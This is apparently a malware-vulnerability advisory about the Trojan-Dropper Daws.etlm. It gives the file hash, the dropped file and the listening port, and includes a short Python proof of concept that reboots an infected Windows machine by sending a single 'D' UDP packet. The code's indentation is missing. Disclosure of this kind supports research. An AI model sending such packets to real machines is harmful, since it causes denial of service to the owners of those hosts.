Threat: Trojan-Dropper.Win32.Daws.etlm
Vulnerability: Remote Unauthenticated System Reboot
Description: Daws.etlm drops an executable named "MSWDM.EXE" under Windows dir and listens on UDP port 139. Unauthenticated third-party attackers can send a single uppercase char "D" datagram packet to the infected machine causing it to reboot. Basic testing using other upper/lower case chars from A-Z or numbers 0-9 did not reveal anything else of interest.
Type: PE32
MD5: a0479e18283ed46e8908767dd0b40f8f
Vuln ID: MVID-2021-0111
Dropped files: MSWDM.EXE
Disclosure: 02/25/2021


Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=139

def doit():
try:
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST,PORT))
except Exception as e:
print(str(e))

s.send("D")
s.close()

print("Trojan-Dropper.Win32.Daws.etlm / Remote Unauthenticated System Reboot")
print("MD5: a0479e18283ed46e8908767dd0b40f8f")
print("By Malvuln");
